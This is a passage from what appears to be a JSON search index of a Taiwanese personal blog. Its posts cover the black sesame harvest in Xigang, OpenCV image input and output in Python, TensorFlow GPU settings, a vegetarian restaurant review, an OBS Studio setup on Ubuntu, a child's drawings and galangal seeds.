將黑芝麻打下來的過程，也會將大量的芝麻果莢與雜質也打下來，所以接下來要經過好幾道程序的篩選，將那些沒用的雜質去除，留下黑芝麻。\n首先用最粗的網子，篩出體積最大的樹枝。\n這時候的芝麻還是混著很多的果莢與雜質。\n將芝麻整理一下，準備後續的篩選工作。\n使用粗的篩子先把果莢篩掉。\n果莢篩掉之後，就很明顯可以看到整堆的黑芝麻了。\n接著再整理一下，準備下一道的篩選流程。我們家阿玄也很喜歡拿掃把在旁邊幫忙。\n接著用細的篩子再篩一下，把細的雜質去除。\n黑芝麻裝袋 接著就可以將篩完的黑芝麻裝袋了。\n上面那一堆芝麻裝起來之後的量，大約就是這兩袋。\n這些就是在田裡經過初步篩選後的黑芝麻。\n這些在田裡經過好幾道篩選後的芝麻粒，其實還是有許多細細的雜質參雜在裡面，拿回家之後，還要再經過一兩天的曝曬，再用電扇吹掉最後的雜質才算完成。\n由於整塊芝麻田通常不小，在打芝麻的時候，會分批進行，打完一堆接著再打下一堆，若人力多的話，也可以分成好幾堆同時進行。\n在打芝麻的時候，需要在田中鋪上帆布，所以通常農民在芝麻採收之後，都會請人在田中間犁一塊平整的區域，方便鋪上帆布來打芝麻。\n打芝麻的過程不需要很久，這樣一塊田大概四個人用一個下午就可以打完了。\n在田裡打完並經過初步篩選的黑芝麻，拿回家之後還要經過一兩天的曝曬，並經過精篩，將更細的雜質去除，然後才會拿去榨油廠榨油。\n棋玄聽到媽媽與叔公的對話，知道小鳥愛吃黑芝麻，打完黑芝麻回家後，就畫了這張有小鳥吃黑芝麻的畫！\n","permalink":"https://blog.gtwang.org/agriculture/harvest-sesame-seeds-sigang-tainan-20171124/","summary":"\u003cp\u003e這裡記錄台南西港地區 2017 年秋季黑芝麻收成時，將黑芝麻從曬乾植株上打下來的過程。\u003c/p\u003e\n\u003cp\u003e黑芝麻在\u003ca href=\"/agriculture/exposuring-sesame-sigang-tainan-20171122/\"\u003e採收與曝曬\u003c/a\u003e之後，接著就會將所有的黑芝麻從植株上打下來，並將大部分的雜質篩掉，這個過程就稱為打芝麻，以下是我們家自己在打芝麻的寫實記錄。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e整個打芝麻的過程我有拍攝成簡單的記錄片。\u003c/p\u003e\n\u003cp\u003e\n    \u003cdiv style=\"position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;\"\u003e\n      \u003ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen\" loading=\"eager\" referrerpolicy=\"strict-origin-when-cross-origin\" src=\"https://www.youtube.com/embed/55W62_i9VeQ?autoplay=0\u0026amp;controls=1\u0026amp;end=0\u0026amp;loop=0\u0026amp;mute=0\u0026amp;start=0\" style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;\" title=\"YouTube video\"\u003e\u003c/iframe\u003e\n    \u003c/div\u003e\n    \u003c/p\u003e","title":"[台南西港] 黑芝麻採收打芝麻記錄，2017 年秋季"},{"content":"這裡介紹如何使用 Python 與 OpenCV 讀取影像圖檔，以及將處理好的圖形寫入檔案。\nOpenCV 讀取圖片 首先引入 NumPy 與 OpenCV 的 Python 模組：\nimport numpy as np import cv2 OpenCV 本身就有提供讀取圖片檔的函數可用，讀取一般的圖片檔，只要呼叫 cv2.imread 即可將圖片讀取進來：\n# 讀取圖檔 img = cv2.imread(\u0026#39;image.jpg\u0026#39;) 以 cv2.imread 讀進來的資料，會儲存成一個 NumPy 的陣列，我們可以用 type 檢查一下：\n# 查看資料型態 type(img) \u0026lt;class 'numpy.ndarray'\u0026gt; 此 NumPy 陣列的前兩個維度分別是圖片的高度與寬度，第三個維度則是圖片的 channel（RGB 彩色圖片的 channel 是 3，灰階圖片則為 1）。\n以這個子來說，我們的原始圖片是一張 1920x1080 的彩色圖片，我們可以檢查一下這個 NumPy 陣列的大小：\nimg.shape (1080, 1920, 3) 圖檔格式 OpenCV 的 cv2.imread 在讀取圖片時，可以在第二個參數指定圖片的格式，可用的選項有三種：\ncv2.IMREAD_COLOR 此為預設值，這種格式會讀取 RGB 三個 channels 的彩色圖片，而忽略透明度的 channel。 cv2.IMREAD_GRAYSCALE 以灰階的格式來讀取圖片。 cv2.IMREAD_UNCHANGED 讀取圖片中所有的 channels，包含透明度的 channel。 這是讀取灰階圖片的範例：\n# 以灰階的方式讀取圖檔 img_gray = cv2.imread(\u0026#39;image.jpg\u0026#39;, cv2.IMREAD_GRAYSCALE) 顯示圖片 將圖片讀取進來之後，可以使用 OpenCV 所提供的 cv2.imshow 來顯示圖片：\n# 顯示圖片 cv2.imshow(\u0026#39;My Image\u0026#39;, img) # 按下任意鍵則關閉所有視窗 cv2.waitKey(0) cv2.destroyAllWindows() 這裡 cv2.waitKey 函數是用來等待與讀取使用者按下的按鍵，而其參數是等待時間（單位為毫秒），若設定為 0 就表示持續等待至使用者按下按鍵為止，這樣當我們按下任意按鍵之後，就會呼叫 cv2.destroyAllWindows 關閉所有 OpenCV 的視窗。\n如果在程式中有許多的 OpenCV 視窗，而我們只要關閉特定的視窗時，可以改用 cv2.destroyWindow 加上視窗名稱，關閉指定的視窗：\n# 關閉 \u0026#39;My Image\u0026#39; 視窗 cv2.destroyWindow(\u0026#39;My Image\u0026#39;) 在預設的狀況下，以 cv2.imshow 所開啟的視窗會依據圖片來自動調整大小，但若是圖片太大、佔滿整個螢幕時，我們會希望可以自由縮放視窗的大小，這時候就可以使用 cv2.namedWindow 將視窗設定為 cv2.WINDOW_NORMAL：\n# 讓視窗可以自由縮放大小 cv2.namedWindow(\u0026#39;My Image\u0026#39;, cv2.WINDOW_NORMAL) cv2.imshow(\u0026#39;My Image\u0026#39;, img) cv2.waitKey(0) cv2.destroyAllWindows() 使用 OpenCV 開啟的圖形視窗會類似這樣：\n灰階的圖片也可以顯示，用法都相同：\n寫入圖片檔案 若要將 NumPy 陣列中儲存的圖片寫入檔案，可以使用 OpenCV 的 cv2.imwrite：\n# 寫入圖檔 cv2.imwrite(\u0026#39;output.jpg\u0026#39;, img) cv2.imwrite 可透過圖片的副檔名來指定輸出的圖檔格式：\n# 寫入不同圖檔格式 cv2.imwrite(\u0026#39;output.png\u0026#39;, img) cv2.imwrite(\u0026#39;output.tiff\u0026#39;, img) 輸出圖片檔案時，也可以調整圖片的品質或壓縮率：\n# 設定 JPEG 圖片品質為 90（可用值為 0 ~ 100） cv2.imwrite(\u0026#39;output.jpg\u0026#39;, img, [cv2.IMWRITE_JPEG_QUALITY, 90]) # 設定 PNG 壓縮層級為 5（可用值為 0 ~ 9） cv2.imwrite(\u0026#39;output.png\u0026#39;, img, [cv2.IMWRITE_PNG_COMPRESSION, 5]) Matplotlib Matplotlib 是 Python 之中很常被使用的繪圖工具，以下介紹如何以 Matplotlib 顯示 OpenCV 讀入或產生的圖片。\n彩色圖片 Matplotlib 顯示圖片的方式也很簡單，只要呼叫 imshow 就可以了，但是由於 OpenCV 讀取進來的圖片會以 BGR 的方式儲存三個顏色的 channel，如果直接把 OpenCV 讀入的圖片放進 Matplotlib 來顯示，就會出現類似這樣的顏色錯誤問題：\n遇到這樣的問題，只要將 OpenCV 讀入的 BGR 格式轉為 Matplotlib 用的 RGB 格式，再交給 Matplotlib 顯示就會得到正確的結果了。以下是使用 Matplotlib 顯示彩色圖片的範例：\nimport numpy as np import cv2 from matplotlib import pyplot as plt # 使用 OpenCV 讀取圖檔 img_bgr = cv2.imread(\u0026#39;image.jpg\u0026#39;) # 將 BGR 圖片轉為 RGB 圖片 img_rgb = img_bgr[:,:,::-1] # 或是這樣亦可 # img_rgb = cv2.cvtColor(img_bgr, cv2.COLOR_BGR2RGB) # 使用 Matplotlib 顯示圖片 plt.imshow(img_rgb) plt.show() 顯示出來的視窗繪像這樣：\n灰階圖片 而如果是以 OpenCV 讀取灰階的圖片時，由於 channel 只有一個，所以就不會有上述的色彩問題，直接把 OpenCV 讀入的 NumPy 陣列放進 Matplotlib 的 imshow 中即可顯示，但是 Matplotlib 在顯示一個 channel 的圖片時，會用預設的 colormap 上色，所以畫出來繪像這樣：\n如果想要以黑白的方式呈現灰階圖片，可以自己設定 colormap：\n# 使用 OpenCV 讀取灰階圖檔 img_gray = cv2.imread(\u0026#39;image.jpg\u0026#39;, cv2.IMREAD_GRAYSCALE) # 使用 Matplotlib 顯示圖片 plt.imshow(img_gray, cmap = \u0026#39;gray\u0026#39;) plt.show() 結果會像這樣：\n參考資料 OpenCV Matplotlib ","permalink":"https://blog.gtwang.org/programming/opencv-basic-image-read-and-write-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 Python 與 OpenCV 讀取影像圖檔，以及將處理好的圖形寫入檔案。\u003c/p\u003e\n\u003ch2 id=\"opencv-讀取圖片\"\u003eOpenCV 讀取圖片\u003c/h2\u003e\n\u003cp\u003e首先引入 NumPy 與 OpenCV 的 Python 模組：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003enumpy\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"nn\"\u003enp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003ecv2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOpenCV 本身就有提供讀取圖片檔的函數可用，讀取一般的圖片檔，只要呼叫 \u003ccode\u003ecv2.imread\u003c/code\u003e 即可將圖片讀取進來：\u003c/p\u003e","title":"Python 與 OpenCV 基本讀取、顯示與儲存圖片教學"},{"content":"本篇記錄台南西港地區 2017 年秋季的黑芝麻採收與曝曬過程。\n台南西港地區是台灣有名的黑芝麻產地，最近正是秋季的黑芝麻成熟、準備採收的時機，這陣子在西港地區四處都可以看到農民忙著收割成熟的芝麻，架在田裡曝曬。\n這些是已經成熟，等待採收的黑芝麻。\n農民會將成熟的黑芝麻用鐮刀整株割下來。\n將割下來的黑芝麻，像這樣綁成一束一束的。\n然後將黑芝麻豎立在田裡曝曬，經過十至二十日左右的曝曬之後，再將曬乾的芝麻從果莢內打出來。\n在芝麻曝曬的過程中，由於每株芝麻的乾燥速度不同，較快乾的芝麻果莢會先打開，而裡面的芝麻就很容易掉落在田中。除此之外，鳥類也會來吃這些成熟的芝麻，所以整個曝曬過程難免會損之一些芝麻。\n如果芝麻種植的面積比較大，在採收時就會聘請工人幫忙採收，以目前的行情來說，一個工人採收一天的工錢大約是 1100 到 1200 元左右。\n我用拍攝了幾段今天收割過程的影片，觀看影片會更容易了解實際黑芝麻的收割情況。\n這是收割後的芝麻田，芝麻都被割下來之後，幾乎就是光禿禿的。\n這是我們家這塊田收割完成之後，拍攝的全景照（點下去可以看原圖）。\n今天第一次讓阿玄拿相機下田自己照相，他很興奮的到處拍照。\n這是第二天採收的情況，阿玄一樣非常有興趣下田拍照。\n這是第二天拍攝的一些影片。\n以下是我在西港地區所拍攝到的芝麻田，不同的農民在曝曬採收下來的芝麻時，用的方式都會有些不同。\n雖然有各種綁芝麻的方法，但大原則就是要讓芝麻在曝曬的過程中不要倒下來，否則果莢內的芝麻就會掉落在田中，另外許多農民也會在田中插上旗子或是綁上一些會飄動的塑膠袋，目的是要趕走各種鳥類，避免芝麻被它們吃掉。\n有些農民會因為種植的量比較少，或是評估收成不好，就會自己採收，不請工人。\n芝麻曝曬的過程中，果莢會慢慢乾燥，露出內部的黑芝麻。\n芝麻收割後，要經過十天到二十天的曝曬過程，這是曝曬到一半的芝麻。\n曝曬過程當中，總是會有一些芝麻比較快被曬乾，有一些則比較慢，乾燥的果莢會自然打開，露出內部的黑芝麻，而這些較快乾燥的芝麻就很容易掉落在田裡，或是被鳥吃掉，造成損失。\n若想要減少黑芝麻在曝曬過程的損失，可以在芝麻曝曬到一半時，把已經乾燥的芝麻先打出來，尚未乾燥的芝麻則繼續放著，等曬乾後再拿來打，分為兩批處理。\n而分兩批來處理的話，雖然可以減少芝麻粒的損失，但是因為要分兩次工，請工人的話工資算起來可能不見得划算，有時候農民會選擇把全部的芝麻都放到最後再統一處理，以損失芝麻粒的方式節省工資。\n當這些芝麻曬乾之後，農民就會把果夾內的芝麻子打出來，然後讓芝麻子再曝曬幾天，在拿去榨成黑麻油。\n","permalink":"https://blog.gtwang.org/agriculture/exposuring-sesame-sigang-tainan-20171122/","summary":"\u003cp\u003e本篇記錄台南西港地區 2017 年秋季的黑芝麻採收與曝曬過程。\u003c/p\u003e\n\u003cp\u003e台南西港地區是台灣有名的\u003ca href=\"/tags/%E8%8A%9D%E9%BA%BB/\"\u003e黑芝麻\u003c/a\u003e產地，最近正是秋季的黑芝麻成熟、準備採收的時機，這陣子在西港地區四處都可以看到農民忙著收割成熟的芝麻，架在田裡曝曬。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e這些是已經成熟，等待採收的黑芝麻。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"待採收的黑芝麻\" loading=\"lazy\" src=\"/agriculture/exposuring-sesame-sigang-tainan-20171122/exposuring-sesame-sigang-tainan-20171122-4.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e農民會將成熟的黑芝麻用鐮刀整株割下來。\u003c/p\u003e","title":"[台南西港] 黑芝麻採收曝曬記錄，2017 年秋季"},{"content":"本篇介紹如何指定 TensorFlow 與 Keras 程式所使用的 GPU 顯示卡與記憶體用量。\n在 TensorFlow 或 Keras 中使用 NVIDIA 的 GPU 做運算時，預設會把整台機器上所有的 GPU 卡都獨佔下來，而且不管實際需要多少顯示卡的記憶體，每張卡的記憶體都會被佔滿，以下介紹如何調整設定，讓多張顯示卡可以分給多個程式或多人使用。\n指定 GPU 顯示卡 若要只使用特定的 GPU 卡，可以使用 CUDA_VISIBLE_DEVICES 這個環境變數來設定，它的值代表 CUDA 程式可以使用的 GPU 卡編號（從 0 開始），例如只讓 CUDA 程式使用第一張 GPU 卡：\n# 只讓 CUDA 程式使用第一張 GPU 卡 export CUDA_VISIBLE_DEVICES=0 python my_script.py 這樣當 my_script.py 這個 Python 程式在執行時，就只會用到機器上的第一張 GPU 卡。若要指定多張 GPU 卡，則以逗號分隔：\n# 讓 CUDA 程式使用第一張與第三張 GPU 卡 export CUDA_VISIBLE_DEVICES=0,2 python my_script.py 如果自己會用的 GPU 卡都是固定的，我們可以將 CUDA_VISIBLE_DEVICES 的設定寫在 ~/.bashrc 中，在登入 Linux 系統時就自動設定好。而如果要讓不同的程式用不同的 GPU 卡計算，分散計算量的話，可以在執行程式時直接以 CUDA_VISIBLE_DEVICES 指定：\n# 使用第一張 GPU 卡 CUDA_VISIBLE_DEVICES=0 python my_script1.py # 使用第二張與第三張 GPU 卡 CUDA_VISIBLE_DEVICES=1,2 python my_script2.py 另外還有一種方式是直接在 Python 程式中更改 CUDA_VISIBLE_DEVICES 這個環境變數，此種方式的原理也是一樣的，只是這樣可以把 GPU 卡的指定邏輯寫在 Python 程式中：\nimport os # 使用第一張與第三張 GPU 卡 os.environ[\u0026#34;CUDA_VISIBLE_DEVICES\u0026#34;] = \u0026#34;0,2\u0026#34; 指定 GPU 顯示卡記憶體用量上限 若在 TensorFlow 中，我們可以使用 tf.GPUOptions 來調整程式佔用的 GPU 記憶體：\nimport tensorflow as tf W = tf.constant([1.0, 2.0, 3.0, 4.0], shape=[2, 2], name=\u0026#39;W\u0026#39;) x = tf.constant([1.3, 2.4], shape=[2, 1], name=\u0026#39;x\u0026#39;) y = tf.matmul(W, x) # 只使用 30% 的 GPU 記憶體 gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.3) sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options)) print(sess.run(y)) 在以 TensorFlow 為 backend 的 Keras 程式中，我們可以透過以下的設定方式來指定 GPU 記憶體的佔用量：\nimport tensorflow as tf # 只使用 30% 的 GPU 記憶體 gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.3) sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options)) # 設定 Keras 使用的 TensorFlow Session tf.keras.backend.set_session(sess) # 使用 Keras 建立模型 # ... 自動增長 GPU 記憶體用量 直接設定 GPU 記憶體的用量可以確保程式不會吃掉過多的記憶體，但是如果程式遇到真的需要更大的記憶體時，就會因為記憶體不足而產生 ResourceExhaustedError，比較折衷的做法是採用自動增長 GPU 記憶體用量的方式，讓程式需要多少記憶體就拿多少，剩下的才留給別人：\nimport tensorflow as tf W = tf.constant([1.0, 2.0, 3.0, 4.0], shape=[2, 2], name=\u0026#39;W\u0026#39;) x = tf.constant([1.3, 2.4], shape=[2, 1], name=\u0026#39;x\u0026#39;) y = tf.matmul(W, x) # 自動增長 GPU 記憶體用量 gpu_options = tf.GPUOptions(allow_growth=True) sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options)) print(sess.run(y)) 在 Keras 的部分也是一樣的做法：\nimport tensorflow as tf # 自動增長 GPU 記憶體用量 gpu_options = tf.GPUOptions(allow_growth=True) sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options)) # 設定 Keras 使用的 Session tf.keras.backend.set_session(sess) # 使用 Keras 建立模型 # ... 參考資料 csdn StackOverflow ","permalink":"https://blog.gtwang.org/programming/tensorflow-keras-specify-gpu-and-memory-tutorial/","summary":"\u003cp\u003e本篇介紹如何指定 TensorFlow 與 Keras 程式所使用的 GPU 顯示卡與記憶體用量。\u003c/p\u003e\n\u003cp\u003e在 TensorFlow 或 Keras 中使用 NVIDIA 的 GPU 做運算時，預設會把整台機器上所有的 GPU 卡都獨佔下來，而且不管實際需要多少顯示卡的記憶體，每張卡的記憶體都會被佔滿，以下介紹如何調整設定，讓多張顯示卡可以分給多個程式或多人使用。\u003c/p\u003e","title":"TensorFlow 與 Keras 指定 NVIDIA GPU 顯示卡與記憶體用量教學"},{"content":"本篇是這兩個月阿玄在家畫的一些塗鴉，還有水彩畫。\n這張是最近帶阿玄看完西港黑芝麻的採收與曝曬過程後，回家他自己畫的，我跟他說小鳥都會來吃田裡的芝麻，他就自己想像把它畫出來。\n這是阿玄最近畫的糖果屋。\n以下是一些不知道時間的塗鴉畫。\n","permalink":"https://blog.gtwang.org/personal/qixuan-drawing-201710/","summary":"\u003cp\u003e本篇是這兩個月阿玄在家畫的一些塗鴉，還有水彩畫。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201710/qixuan-drawing-201711-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\n    \u003cdiv style=\"position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;\"\u003e\n      \u003ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen\" loading=\"eager\" referrerpolicy=\"strict-origin-when-cross-origin\" src=\"https://www.youtube.com/embed/HyiClJGpCvs?autoplay=0\u0026amp;controls=1\u0026amp;end=0\u0026amp;loop=0\u0026amp;mute=0\u0026amp;start=0\" style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;\" title=\"YouTube video\"\u003e\u003c/iframe\u003e\n    \u003c/div\u003e\n    \u003c/p\u003e\n\n\u003cp\u003e\n    \u003cdiv style=\"position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;\"\u003e\n      \u003ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen\" loading=\"eager\" referrerpolicy=\"strict-origin-when-cross-origin\" src=\"https://www.youtube.com/embed/qsQ_smvG8Iw?autoplay=0\u0026amp;controls=1\u0026amp;end=0\u0026amp;loop=0\u0026amp;mute=0\u0026amp;start=0\" style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;\" title=\"YouTube video\"\u003e\u003c/iframe\u003e\n    \u003c/div\u003e\n    \u003c/p\u003e","title":"阿玄的塗鴉畫 2017 年 10 月、11 月"},{"content":"卡帛素食烘培‧義式廚房是一家位於台大附近的素食餐廳與烘培坊，有純素、奶素的餐點與麵包，我個人非常推薦。\n最近有事出差去台大開會，中午的時間跟朋友約在附近吃飯，因為要坐下來談正事，所以要選一個比較方便聊天的場所。\n卡帛素食烘培‧義式廚房剛好就在台大旁邊，離科技大樓捷運站也很近，看起來也適合坐下來談事情，所以這次中午我們就選擇在這裡用餐，結果我們我們吃過他們的餐點之後，才發現他們的餐點品質真的很好，既健康又好吃，出乎我的意料，所以如果大家有需要找台大附近的素食的話，我很推薦這一家。\n店名：卡帛素食烘培‧義式廚房（總店）\n地址：台北市復興南路 2 段 308 巷 5 號（地圖）\n電話：(02) 2733-6819\n營業時間：\n平日：早上 8 點 ～ 晚上 10 點\n國定假日及例假日：早上 8 點～晚上 9 點 30 分\n下午茶：下午 2 點 ～ 5 點（可供餐）全日供餐\n網站：官方網站、facebook 粉絲專頁\n卡帛素食烘培‧義式廚房的門口有停車格，來這裡用餐的話可以停這裡。\n這是卡帛素食烘培‧義式廚房的門口。\n櫃檯旁邊有各式各樣的無蛋烘培料理，走進去一點就是用餐的座位。\n這裡是用餐區，位子感覺沒有很多，我來的這天中午人多的時候會坐滿。\n這裡的餐點價位大約在一百多至兩百左右，點套餐的話有加上濃湯、餐包、與飲料，價位大約是兩百出頭，詳細的介紹可以參考他們的官方網頁。\n這是套餐的濃湯與小餐包。\n這個餐包有夾乳酪與一片素火腿，味道不錯。\n這一道是南瓜焗烤，是這裡的特色餐點之一，朋友吃起來感覺很不錯。\n這是我點的另外一道蔬菜的焗烤料理（我忘記名字了），裡面有許多花椰菜、青椒，還有一些料我也沒注意是什麼，總之很好吃就是了。\n這裡的焗烤料理可以選擇要焗飯或是焗麵，上面這道我是選焗麵（通心麵）。\n這是套餐的甜點，這個果凍感覺像是自己做的，口感跟一般的果凍不同，裡面還有水果。\n最後的飲料我選的是熱紅茶。\n用完餐之後，來看一下櫃檯旁邊的烘培區，一般市面上要找到無蛋的烘培料理其實很難找，我很意外這裡會有那麼多的選擇，看起來都很好吃。\n這些是無蛋的蛋糕，這種無蛋蛋糕在外面很難找，以前我想買都不知道要去哪裡買，沒想到這裡有那麼多可以選擇。\n這些是架上各式各樣的麵包，有分為奶素、純素兩種，不喝牛奶的人也有很多選擇。\n這裡的無蛋烘培料理選擇性很多，看起來都非常好吃，只不過我今天很忙，吃完飯還要開另外一個會，下次若有經過我一定會來買。\n整體而言，卡帛素食烘培‧義式廚房的風格兼顧健康與美味，餐點選擇性豐富、既好吃、對健康也沒有負擔，餐廳工作人員的服務態度很好，在這裡用餐非常舒服，特別推薦給大家。\n","permalink":"https://blog.gtwang.org/life/kapok-coffee-bakery-vegetarian-restaurant-taipei-20171108/","summary":"\u003cp\u003e卡帛素食烘培‧義式廚房是一家位於台大附近的素食餐廳與烘培坊，有純素、奶素的餐點與麵包，我個人非常推薦。\u003c/p\u003e\n\u003cp\u003e最近有事出差去台大開會，中午的時間跟朋友約在附近吃飯，因為要坐下來談正事，所以要選一個比較方便聊天的場所。\u003c/p\u003e","title":"[台北素食] 卡帛素食烘培‧義式廚房，近台大、科技大樓捷運站"},{"content":"本篇介紹如何在 Ubuntu Linux 中使用 Open Broadcaster Software，錄製螢幕畫面的教學影片。\nOpen Broadcaster Software 是一個開放原始碼的螢幕錄製與即時串流發送軟體，其功能完整而且完全免費，在 Windows、Mac OS X 與 Linux 系統上都可以使用。\n以下介紹如何在 Ubuntu Linux 中安裝與使用 OBS，連接網路攝影機與麥克風，錄製教學影片。\n安裝 Open Broadcaster Software 參考 OBS 官方的安裝說明，先安裝 ffmpeg：\nsudo apt-get install ffmpeg 接著加入 OBS 的套件庫，以 apt 安裝 OBS：\nsudo add-apt-repository ppa:obsproject/obs-studio sudo apt-get update \u0026amp;\u0026amp; sudo apt-get install obs-studio 安裝完成之後，在 Ubuntu Linux 桌面的選單中就可以找到 OBS 的啟動圖示。\n若要以指令啟動 OBS 的話，就執行：\nobs 開啟 OBS 之後，正常來說看到這樣的視窗，這樣就代表 OBS 已經安裝完成了。\n錄製螢幕 安裝好 OBS 之後，接下來就可以準備錄製影片了，首先在選單的「場景群組」中選擇「新增」，增加一個場景群組。\n設定場景群組的名稱，這個名稱可以取一個自己喜歡的名稱，這裡我打算要錄製各種的程式設計教學，所以我把它的名稱取為「教學錄影」。\n在一個「場景群組」之中，會包含好多個「場景」，不同的「場景」可以有不同的畫面配置，以及不同的「來源」（例如聲音與影像等），我們可以在下方的「場景」與「來源」中設計多種組合。\n每個「場景」都可以選擇多個不同的「來源」，這裡的來源有好多種，包含攝影機的影像、螢幕的畫面、麥克風的聲音等，請自己依照需求將其加入場景中。\n將各種「來源」加入「場景」之後，可以在主畫面上用滑鼠拖拉的方式，調整多個影像的排版位置，最常見的配置就是把螢幕畫面放到最大，然後把講者的攝影機畫面放在角落。\n畫面設定好之後，記得要測試一下麥克風的聲音，在下方的混音器中，可以調整不同聲音來源的音量大小。\n接著開啟設定視窗，在「輸出」設定中調整一下輸出影片的位置與格式，這裡我偏好的格式是 MP4，然後選擇 x264 的編碼。\n影片解析度的部份可以在「影像」設定中調整。\n以上就是最簡單的設定，調整好之後就可以進行錄影了，以下是我錄製的一段測試影片。\n這段影片第一次錄製教學影片，還不是非常熟悉整個操作，中間調整音源的時候忘了切換場景，不過我實在不想再錄一次，我想大家應該還是可以看得懂。 🙂\n","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-open-broadcaster-software-screen-recorder-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Ubuntu Linux 中使用 Open Broadcaster Software，錄製螢幕畫面的教學影片。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://obsproject.com/\"\u003eOpen Broadcaster Software\u003c/a\u003e 是一個開放原始碼的螢幕錄製與即時串流發送軟體，其功能完整而且完全免費，在 Windows、Mac OS X 與 Linux 系統上都可以使用。\u003c/p\u003e","title":"Ubuntu Linux 使用 Open Broadcaster Software 錄製螢幕畫面教學"},{"content":"最近拿到了一些月桃的種子，拍照記錄一下。\n艷山薑（俗稱月桃）的葉子常用來包粽子，而它的果實拿來煮水喝，對胃很好，最近我們拿到一些，順便拍照紀錄一下。\n成熟的月桃果實摘下來後，可以曬乾保存。\n每個果實裡面有很多種子。\n若要拿月桃的果實煮水喝，可以每次拿六顆，熬煮兩個小時，大約把兩碗半的水熬成一碗左右。\n","permalink":"https://blog.gtwang.org/life/beautiful-galangal-seeds-20171102/","summary":"\u003cp\u003e最近拿到了一些月桃的種子，拍照記錄一下。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://zh.wikipedia.org/wiki/%E8%89%B7%E5%B1%B1%E8%96%91\"\u003e艷山薑（俗稱月桃）\u003c/a\u003e的葉子常用來包粽子，而它的果實拿來煮水喝，對胃很好，最近我們拿到一些，順便拍照紀錄一下。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e成熟的月桃果實摘下來後，可以曬乾保存。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"艷山薑（月桃）種子\" loading=\"lazy\" src=\"/life/beautiful-galangal-seeds-20171102/beautiful-galangal-seeds-20171102-5.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"艷山薑（月桃）種子\" loading=\"lazy\" src=\"/life/beautiful-galangal-seeds-20171102/beautiful-galangal-seeds-20171102-6.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e每個果實裡面有很多種子。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"艷山薑（月桃）種子\" loading=\"lazy\" src=\"/life/beautiful-galangal-seeds-20171102/beautiful-galangal-seeds-20171102-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"艷山薑（月桃）種子\" loading=\"lazy\" src=\"/life/beautiful-galangal-seeds-20171102/beautiful-galangal-seeds-20171102-3.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"艷山薑（月桃）種子\" loading=\"lazy\" src=\"/life/beautiful-galangal-seeds-20171102/beautiful-galangal-seeds-20171102-4.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"艷山薑（月桃）種子\" loading=\"lazy\" 